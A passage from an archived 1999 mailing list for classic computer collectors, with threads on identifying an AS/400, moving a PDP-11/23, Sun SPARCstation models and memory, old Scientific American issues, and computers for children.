much use for > >anything else. Seems not to encourage imagination anything like as much. > > Depends on what sets you buy. You can buy sets that build one specific > model (though you can of course do whatever you want) or you can buy the > tubs of 1000 pieces for $20. I have been known to buy specific models to > get some odd part that I thought was cool, but generally I'll take the > general purpose models. > > Obcc: Yes, you can build computers and calculators from Lego. Any reason > why you couldn't replicate a Digi-Comp with Lego? A Digi-Comp built with Lego blocks would be huge and fragile, plus those vertical metal rods would have to be fabricated. When I had my Digi-Comp I, I also had a lot of Lego stuff, none of which was in any way "specialized" -- mostly just red bricks and white bricks and a few bases. (I'll admit I'm planning to pick up some of the Mindstorm kits, but they're for _me_, not for juvenile relatives). -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From lwalker at mail.interlog.com Wed Jan 13 13:18:38 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:06 2005 Subject: classic computer stuff in Scientific American In-Reply-To: <3.0.6.32.19990113094418.0079da80@mindspring.com> References: <4.1.19990108123634.00adaeb0@206.231.8.2> Message-ID: <199901140230.VAA25377@smtp.interlog.com> On 13 Jan 99 at 9:44, Alex Knight wrote: > Hi, > > One of my more interesting acquisitions along the way of looking > for early-model calculators has been a nearly-complete set of > Scientific American magazines from 1965-1978. In the 1960's > issues there are a few interesting articles about computer > development and evolution and some advertisements for old > computer equipment. I am working on a list of these articles > & ads which will take some time to complete, but I did > want to point out one particular issue that has a wealth of > info. & photos about mid 70's computer technology. The issue > is the September 1977 special issue on Microelectronics. > Inside, there are advertisements for things like the Bally > "Home Library Computer", Apple II (2-page color spread), > Texas Instruments 990/9900, Heathkit H8,H9,H10,H11, HP 21MX/HP1000, > Harris S-110, E&L MMD-1 microcomputer, Vector Graphics, IMSAI > (2-page color spread), Floating Point Systems, Digital LSI-11, > Digital Group, Byte Shop, PolyMorphic Systems, and SOL-20. > > Also, in the articles, the following things (among many others) > are covered or photographed: IMSAI 8048 SBC, Intel 8748 photograph, > Intel SBC 80/10 & Intellec MDS-80, Burroughs B80, CRAY-1, > IBM 370/168, PDP-11/03, 11/60, 11/70, Xerox PARC "Experimental > Personal Computer", Smalltalk, and much, much more ;-) > > There's a lot of calculator stuff, too, which will eventually > be documented on my Web page. > > If you're interested in this type of stuff, it might make a > trip down to your local public library worthwhile to see if > they still have this issue (on paper or fiche). > > Regards, > > Alex > > Calculator History & Technology Archive > http://aknight.home.mindspring.com/calc.htm > I have that edition in my collection. I have 2 other S.A.s that have micro themes. The Nov. 65 issue, one of the articles is by Hao Wang , and the Sept 66 which is all computer related articles ciao larry lwalker@interlog.com From allisonp at world.std.com Wed Jan 13 20:33:20 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:06 2005 Subject: y2k stuff Message-ID: <199901140233.AA13275@world.std.com> <<< I've come across enough machines that use 6-bit characters internally.. < < 6 Bit ? thats new - I never have seen a 6 Bit byte computer - I < know 6 Bit only from some serial line encodings. Most common one was the PDP8. Allison From allisonp at world.std.com Wed Jan 13 20:33:27 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:06 2005 Subject: TI99: Hard drive partitions Message-ID: <199901140233.AA13385@world.std.com> Message-ID: On Wed, 13 Jan 1999, Uncle Roger wrote: > Found it... Dunno if it still exists (can't access the web at the moment) > but here's the URL: > > http://legowww.homepages.com/projects/adding/project2.html This URL is no good. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From H.Davies at latrobe.edu.au Wed Jan 13 20:59:00 1999 From: H.Davies at latrobe.edu.au (Huw Davies) Date: Sun Feb 27 18:40:06 2005 Subject: TI99: Hard drive partitions In-Reply-To: <199901140233.AA13385@world.std.com> Message-ID: <4.1.19990114135259.009e4560@lucifer.its.latrobe.edu.au> ><2^10 is 1024. Therefore, 2^40 bytes is 1024 Gig. >< > <369CF400.486652FE@bigfoot.com> Message-ID: <369D5FE2.748AB43B@mindspring.com> Russ Blakeman wrote: > Also note that all bidders on this item are rookies, no feedback > built up or very little. Most that I checked have been on ebay since > just before Christmas. That's part of the reasoning that they are > bidding on an item that's well over $400 and still hasn't met it's > "reserve" price. If the item doesn't get to his ridiculous reserve, he > doesn't have to honor the sale when it closes and can relist it again. > > When We Laugh at the reserve price of $400, keep in mind that a famous baseball sold at an auction this week to a high bidder of almost 7 million dollars.. Hard to believe! To me a baseball is worth about 3 bucks.. A used one even less... Beauty is truly in the eyes of the beholder.. Phil... From pechter at monmouth.com Wed Jan 13 21:08:00 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:06 2005 Subject: Directories at the center of the disk In-Reply-To: <199901132327.RAA05652@wildride.netads.com> from Miles O'Neal at "Jan 13, 99 05:27:37 pm" Message-ID: <199901140308.WAA34054@pechter.ddns.org> > Bill Pechter said... > | > |We used to put the OS/32 directory in the center for optimization. > > Would that be Perkin Elmer, SEL, or what? > Interdata --> Perkin Elmer --> Concurrent Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com | pechter@pechter.ddns.org From mbg at world.std.com Wed Jan 13 21:19:10 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children Message-ID: <199901140319.AA15754@world.std.com> >Spaghetti code is caused by bad programmers, not bad programming >languages. Well said...! From gram at cnct.com Wed Jan 13 21:27:19 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:06 2005 Subject: OT: Kids and Linux... References: <3.0.3.32.19990113133712.0092c880@texas.net> Message-ID: <369D6417.77237EB0@cnct.com> Arfon Gryffydd wrote: > > I for set up a pentium for the kids to learn on and since thier attention > span is about 12uS before jumping to a new activity, I am giving them a net > connection.... > > I want to be responsible about this by: > 1) Keeping the computer in the family room where we, the 'adults' are 80% > of the time. > 2) Making sure that I or sweetie-pie have to make the net connection. > > 3) Using some parental controls software. > > Problem is: Is there ANY parental control software for Linux???? > > I want the kids to get used to real computer enviroments (like Unix ) and > not M$. None of the popular censorship software seems to have been ported, I doubt any of it will be. There are the ISP-level services, of course. Me, I say let them see what they want. Pornography is _boring_ aside from the "forbidden fruit" aspect to a kid. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From kurtkilg at geocities.com Tue Jan 12 21:24:48 1999 From: kurtkilg at geocities.com (Max Eskin) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: <199901130318.WAA00338@localhost.localdomain> by geocities.com (8.9.1/8.9.1) with ESMTP id RAA25239; Wed, 13 Jan 1999 17:33:22 -0800 (PST) Message-ID: On Tue, 12 Jan 1999 ard@p850ug1.demon.co.uk wrote: > I wouldn't call FOR..NEXT low level. I'd call it a high level > construction based on the low-level GOTO. What I meant was, in the early BASICs, you would have to type out the FOR loop with a variable, an increment, a conditional statement, and a goto. In the later BASICs, you don't have to type it out, and it's also a lot easier to understand that the NEXT X must be going back to that FOR X= 1 TO 10 I saw a while ago, as opposed to scrolling incessantly trying to find where each GOTO leads. I don't know exactly at what point the FOR...NEXT gets translated into its components, but the point is, since it doesn't have to be typed out, it's somewhat lower-level. ---------------------------------------------------- Max Eskin | kurtkilgor@bigfoot.com | AOL: kurtkilgor From mbg at world.std.com Wed Jan 13 21:27:00 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:06 2005 Subject: Osborne 01 for only $5000.00 References: <199901131155.LAA12134@nixpbe.pdb.sni.de> <369CF400.486652FE@bigfoot.com> Message-ID: <199901140327.AA20752@world.std.com> >When We Laugh at the reserve price of $400, keep in mind that a famous >baseball sold at an auction this week to a high bidder of almost 7 >million dollars.. Hard to believe! >To me a baseball is worth about 3 bucks.. A used one even less... >Beauty is truly in the eyes of the beholder.. Excuse me, which universe did this happen in? As far as I know, it went for 2.7 Million, with an addition 305k being paid in commission by the purchaser... A far cry from 7 Mil... but otherwise, your comment still applies... Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From meo at netads.com Wed Jan 13 22:41:46 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children (soldering) In-Reply-To: <199901140147.SAA26854@calico.litterbox.com> from "Jim Strickland" at Jan 13, 99 06:47:34 pm Message-ID: <199901140441.WAA07477@wildride.netads.com> Jim Strickland said... | |Heh. Depends on how you define "harm". I have a permanent scar up my left |wrist where I was soldering some HO scale train track together with the solder |gun. Well, I was thinking of soldering electronic circuits with small components. A low wattage soldering iron, not a gun. This can still burn you but isn't likely to leave a lifelong scar if you get one at an early age. (It's been years since anyone could tell I ever dropped one on my foot. The moral of that storyt, of course, is to always wear full motocross armor when soldering. 8^) -Miles From nerdware at laidbak.com Wed Jan 13 23:10:35 1999 From: nerdware at laidbak.com (Paul Braun) Date: Sun Feb 27 18:40:06 2005 Subject: OT: Need Sun/Linux advice Message-ID: <199901140507.XAA02528@garcon.laidbak.com> I know this is probably OT, so you can email me off-list if you can help. I need some advice from some experienced Sun folks. I have the opportunity to pick up a 3/80 and an IPC. I need someone to help me find docs or help me with hookup/boot procedures. I am a complete newbie to Suns, and would like to try running Linux. I can't find any specs on the 3/80 as far as internal architecture, so that would be a good starting point. I know I'm jumping on a pretty steep learning curve, but I want to play with a real OS. Let me know, please. I appreciate the help. Thanks. Paul Braun NerdWare -- The History of the PC and the Nerds who brought it to you. nerdware@laidbak.com www.laidbak.com/nerdware From cmcmanis at freegate.com Wed Jan 13 23:55:30 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:06 2005 Subject: OT: Need Sun/Linux advice In-Reply-To: <199901140507.XAA02528@garcon.laidbak.com> Message-ID: <4.1.19990113215227.00964ef0@208.226.86.10> Sun 3/80 - 68030 architecture in a 'pizza box' it was Sun's fall back machine if the SPARCStation didn't sell well. Not many sold so it isn't well supported, runs SunOS 4.1.x (available free from Sun Germany for private use). Sun IPC - The first Sun "macintosh" integrated SPARC chip (a Tsunami I believe) and had small form factor "shoebox". THe LX version is the desirable one. --Chuck At 11:10 PM 1/13/99 -0600, you wrote: >I know this is probably OT, so you can email me off-list if you can help. I >need >some advice from some experienced Sun folks. > >I have the opportunity to pick up a 3/80 and an IPC. I need someone to help me >find docs or help me with hookup/boot procedures. I am a complete newbie to >Suns, and would like to try running Linux. I can't find any specs on the >3/80 as >far as internal architecture, so that would be a good starting point. > >I know I'm jumping on a pretty steep learning curve, but I want to play with a >real OS. > >Let me know, please. I appreciate the help. > >Thanks. > > > > > >Paul Braun >NerdWare -- The History of the PC and the Nerds who brought it to you. >nerdware@laidbak.com >www.laidbak.com/nerdware From jpl15 at netcom.com Thu Jan 14 00:05:55 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:06 2005 Subject: IBM Resuces Message-ID: Today I have saved from the Skip/Tip/Dumpster two items of IBM manufacture, about which I know even less than the Prime 550-II I'm trying to get working. To wit: An IBM 9404 processor, at least that's what I make it out to be, since it's front panel has IPL settings, a QIC-1000, and attached to the back are several 8-channel Twinax adapter cables. A p-Touch type label on the side says 'XS400' The ID plate also says its release level is V2R2MO and its PIF Level is C2261220. With it, though perhaps systemically unrelated, is an IBM 3174-1R, obviously a terminal controller of some sort. It has two 5 1/4 floppies and a niche for storing the diskettes, and there are three of them, marked by printed IBM label for this machine. Also there was a complete (non-IBM) PBX-type voicemail system, but that I know something about and can get on the air. (Sam: its a VMX D.I.A.L.) I am curious to know if anyone is familiar with the IBM stuff and even more curious to know if anyone *wants* the two.. I sure don't. They are not terrifically heavy and thus shippable... hint hint hint. I could not bear to see them go off the loading dock into Oblivion. Cheerz and Thanks to all for the Prime help so far. This weekend I'll have time to research more on my own. NOTE to Prime-familiar folk who may be reading this: I will buy PR1ME engineering/maintenance docs related to the hardware I have; or copies of same. 250/550 series. John From dastar at ncal.verio.com Thu Jan 14 00:16:18 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:06 2005 Subject: IBM Resuces In-Reply-To: Message-ID: On Wed, 13 Jan 1999, John Lawson wrote: > An IBM 9404 processor, at least that's what I make it out to be, > since it's front panel has IPL settings, a QIC-1000, and attached to > the back are several 8-channel Twinax adapter cables. A p-Touch > type label on the side says 'XS400' The ID plate also says its > release level is V2R2MO and its PIF Level is C2261220. Maybe an AS400 model? > Also there was a complete (non-IBM) PBX-type voicemail system, but > that I know something about and can get on the air. (Sam: its a VMX > D.I.A.L.) A decent small-scale voicemail system. VMX was a wholly-owned subsidiary of Octel until Lucent swallowed up Octel. > I am curious to know if anyone is familiar with the IBM stuff and > even more curious to know if anyone *wants* the two.. I sure > don't. They are not terrifically heavy and thus shippable... hint > hint hint. I might be interested. I am planning a trip down south to pick up some stuff in Riverside so I can make a detour. I owe you a trip for some other stuff anyway. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From healyzh at aracnet.com Thu Jan 14 00:34:27 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:06 2005 Subject: PDP-8/e Simulator for the Mac Message-ID: If you have a Macintosh and are interested in DEC Hardware I heartily recommend the following URL http://www.han.de/~bb/pdp8e/pdp8e.html If you've not downloaded Bernhard Baehr's PDP-8/e simulator recently it's gotten REALLY cool. He's added a front panel, that is just to cool for words :^) For example, when you turn the key to the 'off' position, it shuts the simulator down. You can flip switches and watch the blinken lights :^) Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From rexstout at uswest.net Thu Jan 14 00:34:35 1999 From: rexstout at uswest.net (John Rollins) Date: Sun Feb 27 18:40:07 2005 Subject: IBM Resuces In-Reply-To: Message-ID: > An IBM 9404 processor, at least that's what I make it out to be, >since it's front panel has IPL settings, a QIC-1000, and attached to >the back are several 8-channel Twinax adapter cables. A p-Touch >type label on the side says 'XS400' The ID plate also says its >release level is V2R2MO and its PIF Level is C2261220. An AS/400... Older model I think. Kinda big. I had a chance to get one, but didn't have the $225 the guy could get for scrapping it... :-( The twinax is for 5250 type terminals, you can either go find a terminal or get a PC interface & software, run from about $90-500 depending on model. Twinax is also available, but I would guess it's pretty expensive. There's an AS/400 newsgroup(with tons of annoying crossposts to the S/3x newsgroup), LOTS of web sites, tons of software(although it's all business stuff, unless you like programming in RPG/400)... Lots of support/spares out there. MANY AS/400 related newsletters, email lists, magazines... Just start searching. The terminal stuff and other IBM minicomputer items are at http://www.system3x.com/. If I'm guessing correctly(I'm not an AS/400 person, just wish I had one), you have a VERY old version of OS/400. V2R2 is ancient(and NOT y2k compliant), I think it's up to V7 or so now... Try http://www.ibmlink.ibm.com, there should be info in several spots on that site, and I can't remember the URL for their AS/400 site. I think it might be http://www.as400.ibm.com. -------------------------------------------------------------- | http://members.tripod.com/~jrollins/index.html - Computers | | http://www.geocities.com/Area51/Lair/1681/ - Star Trek | | orham@qth.net list admin KD7BCY | | ham-mac@qth.net Portland, OR | -------------------------------------------------------------- From adavie at mad.scientist.com Thu Jan 14 02:19:56 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:07 2005 Subject: PDP 11/23 advice Message-ID: <003b01be3f96$acb770e0$1901a8c0@titanic.bde.com.au> Just found a free PDP 11/23 which I'll be picking up tomorrow, and a VT220. I know nothing at all about this machine - are there precautions I should take before shifting it? Drive parking or some such? Are there any hard to find extras that I should ask about before collecting it? Thanks for any help the list members may provide. As you can tell, this is quite urgent - about 18 hours before I pickup. The guy also has 6 free Sparcstation SLCs - I didn't bags those - maybe I should?! A -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/0e211f96/attachment.html From pechter at monmouth.com Thu Jan 14 07:16:18 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:07 2005 Subject: PDP 11/23 advice In-Reply-To: <003b01be3f96$acb770e0$1901a8c0@titanic.bde.com.au> from Andrew Davie at "Jan 14, 99 07:19:56 pm" Message-ID: <199901141316.IAA35542@pechter.ddns.org> > Just found a free PDP 11/23 which I'll be picking up tomorrow, and a VT220. > I know nothing at all about this machine - are there precautions I should take before shifting it? Drive parking or some such? > Are there any hard to find extras that I should ask about before collecting it? Thanks for any help the list members may provide. As you can tell, this is quite urgent - about 18 hours before I pickup. > The guy also has 6 free Sparcstation SLCs - I didn't bags those - maybe I should?! The PDP11/23 doesn't need disk parking if it's got RD class (PC MFM ST412 type disks) in it. RL01/RL02's can be handled by opening the little right side hatch, pulling down on the button to release the cover (if you can power 'em up you can use the normal cover opening latch). There's a head lock plate and screw that swivels up to lock the heads in. The Sparcstation SLC's are kind of slick. The problem is the memory for them costs more than the SLC. They're 72 pin 33 bit wide... You can use parity 76pin. The problem is most of them have 16mb in 'em and you need at least 32-48 mb (I recommend 64) to run Solaris or SunOS. With 16mb the darn thing swaps itself nuts with X and especially CDE. I've got an IPX that has 16mb (same memory) and to go to 64mb is 4x$55 per SIMM which is $200+ (more than the IPX cost). If I could find the memory I'd grab some SLC's... They're basically Sparc2's with mono frame buffer in a monitor. Just add external SCSI and run. They'd make neat Xterminals. If anyone has a source for the memory cheep Bill From dogas at leading.net Thu Jan 14 07:15:58 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:07 2005 Subject: PDP 11/23 advice Message-ID: <01be3fc0$0658b4a0$dcc962cf@devlaptop> From: Andrew Davie Are there any hard to find extras that I should ask about before collecting it? I'm now a pdp'er yet (my 23 compatible comes in this weekend) but recent discussions indicate that you should grab *all* ancillary stuff for the dec, especially.... the RT-11 manuals! worth, oh... about.... $1,300.00 ( and if you do, please drop me some email. ;)) - Mike: dogas@leading.net -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/6e5475af/attachment.html From pechter at monmouth.com Thu Jan 14 07:22:18 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:07 2005 Subject: OT: Need Sun/Linux advice In-Reply-To: <4.1.19990113215227.00964ef0@208.226.86.10> from Chuck McManis at "Jan 13, 99 09:55:30 pm" Message-ID: <199901141322.IAA35589@pechter.ddns.org> > Sun 3/80 - 68030 architecture in a 'pizza box' it was Sun's fall back > machine if the SPARCStation didn't sell well. Not many sold so it isn't > well supported, runs SunOS 4.1.x (available free from Sun Germany for > private use). There were a whole lot of 'em sold. Sun, however did upgrades to Sparcstation 2's on a lot of 'em when the Sparc2 came out. The 68030 was pretty close in performance to the early Sparcs. > > Sun IPC - The first Sun "macintosh" integrated SPARC chip (a Tsunami I > believe) and had small form factor "shoebox". THe LX version is the > desirable one. > > --Chuck > The IPC is about Sparc1 performance 30 pin Simms Sparc1 class processor. The IPX is about Sparc2 performance 72 pin Simms Sparc2 class processor. The SparcClassic and Sparc LX are follow ups to the IPX. The Sparc IPX seems to be the desireable one since it's got the best (I was told) sound support for NetBSD. The Classic and LX use some different chips. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From ckaiser at oa.ptloma.edu Thu Jan 14 08:56:42 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:07 2005 Subject: OT: Kids and Linux... In-Reply-To: <369D6417.77237EB0@cnct.com> from "Ward Donald Griffiths III" at Jan 13, 99 10:27:19 pm Message-ID: <199901141456.GAA16582@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 791 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/158cdb3c/attachment.ksh From jruschme at exit109.com Thu Jan 14 08:58:39 1999 From: jruschme at exit109.com (John Ruschmeyer) Date: Sun Feb 27 18:40:07 2005 Subject: OT: Need Sun/Linux advice In-Reply-To: <199901141322.IAA35589@pechter.ddns.org> from Bill Pechter at "Jan 14, 99 08:22:18 am" Message-ID: <199901141458.JAA10804@crobin.home.org> > > Sun IPC - The first Sun "macintosh" integrated SPARC chip (a Tsunami I > > believe) and had small form factor "shoebox". THe LX version is the > > desirable one. > > > > --Chuck > > > > The IPC is about Sparc1 performance 30 pin Simms Sparc1 class processor. > The IPX is about Sparc2 performance 72 pin Simms Sparc2 class processor. > The SparcClassic and Sparc LX are follow ups to the IPX. The > Sparc IPX seems to be the desireable one since it's got the best > (I was told) sound support for NetBSD. The Classic and LX use some > different chips. IPC is, IIRC, the same performance as a Sparc 1+. The IPX should be exactly the same performance as a Sparc 2, since it is really just a 2 with integrated CG6 frame buffer. The Classic and LX are sun4m architecture. I seem to recall them having faster clock speeds, but about equivalent performance to the IPX (cache and other differences). NetBSD supports audio on all the sun4c boxes (1/1+/2/IPC/IPX/SLC/ELC). It is not supported on the sun4m boxes (SparcClassic and later) as there is supposedly no enough public info on the AT&T chips used for the audio/ISDN. (Actually, there may be one exception- a sun4m with 4c audio hardware, but I forget which one. Does S/Linux support audio yet? <<>> (Sparc 2 owner... anybody got a spare 3/80 motherboard?) From jruschme at exit109.com Thu Jan 14 09:02:32 1999 From: jruschme at exit109.com (John Ruschmeyer) Date: Sun Feb 27 18:40:07 2005 Subject: PDP 11/23 advice In-Reply-To: <199901141316.IAA35542@pechter.ddns.org> from Bill Pechter at "Jan 14, 99 08:16:18 am" Message-ID: <199901141502.KAA10815@crobin.home.org> > The Sparcstation SLC's are kind of slick. The problem is the memory for > them costs more than the SLC. They're 72 pin 33 bit wide... You can > use parity 76pin. The problem is most of them have 16mb in 'em and you > need at least 32-48 mb (I recommend 64) to run Solaris or SunOS. > > With 16mb the darn thing swaps itself nuts with X and especially CDE. > > I've got an IPX that has 16mb (same memory) and to go to 64mb is 4x$55 > per SIMM which is $200+ (more than the IPX cost). If I could find the > memory I'd grab some SLC's... They're basically Sparc2's with mono frame > buffer in a monitor. Just add external SCSI and run. They'd make neat > Xterminals. SLC's are not Sparc 2 equivalent... more like Sparc 1+ (25mhz vs. 40mhz). The ELC (same form as the SLC, but faster CPU) is more like Sparc 2 speed. Like Bill said... nice box, though I hear the monitor has a habit of dying over time. Still, might be worth grabbing one or two and looking for a suplus ELC motherboard. It's a direct drop in. <<>> From dwollmann at ibmhelp.com Thu Jan 14 10:03:08 1999 From: dwollmann at ibmhelp.com (David Wollmann) Date: Sun Feb 27 18:40:07 2005 Subject: IBM Resuces In-Reply-To: Message-ID: On Wed, 13 Jan 1999, John Rollins wrote: > > An IBM 9404 processor, at least that's what I make it out to be, > >since it's front panel has IPL settings, a QIC-1000, and attached to > >the back are several 8-channel Twinax adapter cables. A p-Touch > >type label on the side says 'XS400' The ID plate also says its > >release level is V2R2MO and its PIF Level is C2261220. > An AS/400... Older model I think. Kinda big. I had a chance to get one, but > didn't have the $225 the guy could get for scrapping it... :-( The twinax > is for 5250 type terminals, you can either go find a terminal or get a PC > interface & software, run from about $90-500 depending on model. Twinax is > [snip] FWIW, a few weeks ago I read that there are some folks (in Rochester, I think) working on porting Linux to AS/400. There is also supposed to be a guy there working on a 390 port in his spare time. If the AS/400 port ever sees the light of day, I'm going to start shopping for parts to build an AS/400 to use as an I'net server. The 390 is out of the question for now, there's too much junk in the garage as it is. On a similar note, I read something yesterday that claimed that the OS/2 folks want to open the OS/2 source, but can't get around Microsoft's IP claims. > > -------------------------------------------------------------- > | http://members.tripod.com/~jrollins/index.html - Computers | > | http://www.geocities.com/Area51/Lair/1681/ - Star Trek | > | orham@qth.net list admin KD7BCY | > | ham-mac@qth.net Portland, OR | > -------------------------------------------------------------- > > -- David Wollmann DST / DST Data Conversion http://www.ibmhelp.com/ ICQ: 10742063 AIM: FathomS36 From healyzh at aracnet.com Thu Jan 14 10:31:30 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:07 2005 Subject: PDP 11/23 advice In-Reply-To: <003b01be3f96$acb770e0$1901a8c0@titanic.bde.com.au> from "Andrew Davie" at Jan 14, 99 07:19:56 pm Message-ID: <199901141631.IAA07326@shell2.aracnet.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 717 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/db1f99b3/attachment.ksh From meo at netads.com Thu Jan 14 12:39:23 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:07 2005 Subject: PDP 11/23 advice In-Reply-To: <199901141316.IAA35542@pechter.ddns.org> from "Bill Pechter" at Jan 14, 99 08:16:18 am Message-ID: <199901141839.MAA10277@wildride.netads.com> Bill Pechter said... | |The Sparcstation SLC's are kind of slick. The problem is the memory for |them costs more than the SLC. They're 72 pin 33 bit wide... You can |use parity 76pin. The problem is most of them have 16mb in 'em and you |need at least 32-48 mb (I recommend 64) to run Solaris or SunOS. 0) So don't run the windowing system. 1) What about Linux? Has it been ported to the SLC yet? 2) There was some software to turn old Suns into X terminals. Was it ported to the SLCs? While 16MB isn't a lot for an X terminal, it will work in some situations. -Miles From meo at netads.com Thu Jan 14 12:40:43 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:07 2005 Subject: PDP 11/23 advice In-Reply-To: <003b01be3f96$acb770e0$1901a8c0@titanic.bde.com.au> from "Andrew Davie" at Jan 14, 99 07:19:56 pm Message-ID: <199901141840.MAA10331@wildride.netads.com> Andrew Davie said... | |The guy also has 6 free Sparcstation SLCs - I didn't bags those - maybe = |I should?! I'd be happy to take any or all of those off your hands. (See my other post on using them even if they don't have much memory.) Where are you located? -Miles From pechter at monmouth.com Thu Jan 14 12:52:04 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:07 2005 Subject: PDP 11/23 advice In-Reply-To: <199901141839.MAA10277@wildride.netads.com> from Miles O'Neal at "Jan 14, 99 12:39:23 pm" Message-ID: <199901141852.NAA01185@pechter.nws.net> > Bill Pechter said... > | > |The Sparcstation SLC's are kind of slick. The problem is the memory for > |them costs more than the SLC. They're 72 pin 33 bit wide... You can > |use parity 76pin. The problem is most of them have 16mb in 'em and you > |need at least 32-48 mb (I recommend 64) to run Solaris or SunOS. > > 0) So don't run the windowing system. Remember it's about a 486/33 on the SLC speed. It's still slow. > 1) What about Linux? Has it been ported to the SLC yet? Yup. So's NetBSD. > 2) There was some software to turn old Suns into X terminals. > Was it ported to the SLCs? While 16MB isn't a lot for an X > terminal, it will work in some situations. It works... but slow since the frame buffer was less than your reasonable VGA of today. > > -Miles > Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From emu at ecubics.com Thu Jan 14 11:06:21 1999 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:40:07 2005 Subject: micropolis 1355 Message-ID: <19990114170706.AAA23928@p2350> Hi all, i got here a micropolis 1355 drive with my pdp, but the disc only spins up, and after few seconds down again. It happens again and again forever. like a jojo :-(( the power supply is ok. any ideas ? thanks, emanuel From tim at thereviewguide.com Thu Jan 14 14:17:15 1999 From: tim at thereviewguide.com (Tim Hotze) Date: Sun Feb 27 18:40:07 2005 Subject: PDP 11/23 advice In-Reply-To: <199901141840.MAA10331@wildride.netads.com> References: <003b01be3f96$acb770e0$1901a8c0@titanic.bde.com.au> from "Andrew Davie" at Jan 14, 99 07:19:56 pm Message-ID: <199901141916.LAA24172@geocities.com> How big are these things? Would you be willing to part with one for a slight compensation? Thanks, Tim Date sent: Thu, 14 Jan 1999 12:40:43 -0600 (CST) Send reply to: classiccmp@u.washington.edu From: meo@netads.com (Miles O'Neal) To: "Discussion re-collecting of classic computers" Subject: Re: PDP 11/23 advice > Andrew Davie said... > | > |The guy also has 6 free Sparcstation SLCs - I didn't bags those - maybe = > |I should?! > > I'd be happy to take any or all of those off your hands. > > (See my other post on using them even if they > don't have much memory.) > > Where are you located? > > -Miles > ******************************************** *Tim D. Hotze - Co-Founder, The ReviewGuide* *tim@thereviewguide.com * *http://www.thereviewguide.com * ******************************************** From Philip.Belben at pgen.com Thu Jan 14 06:32:20 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:07 2005 Subject: Reading age of 3 (was: Re: Computers for children) Message-ID: <802566F9.0048F4A2.00@WESTD90.pgen.co.uk> > Well, my parents were told by the local school _not_ to teach me to read, > or to handle numbers as 'you won't do it the right way'. Fortunately they > ignored this (it was too late anyway - I was already reading), and taught > me the good old-fashioned way. Guess what? I never had any problems > learning things, unlike some kids.... AAAAugh! You had a narrow escape. The arrogance of educators talking about "the right way" to teach a child, when theories as to what this is seem to change every three years, is amazing. I recall in 1975 (I think - I was only about 8 at the time) we knew a retired teacher who sometimes did supply work for a local school. She was given a remedial class to look after, and started teaching them by traditional methods. Result, in a few weeks they were ahead of the main class. Our retired friend quite reasonably asked why the 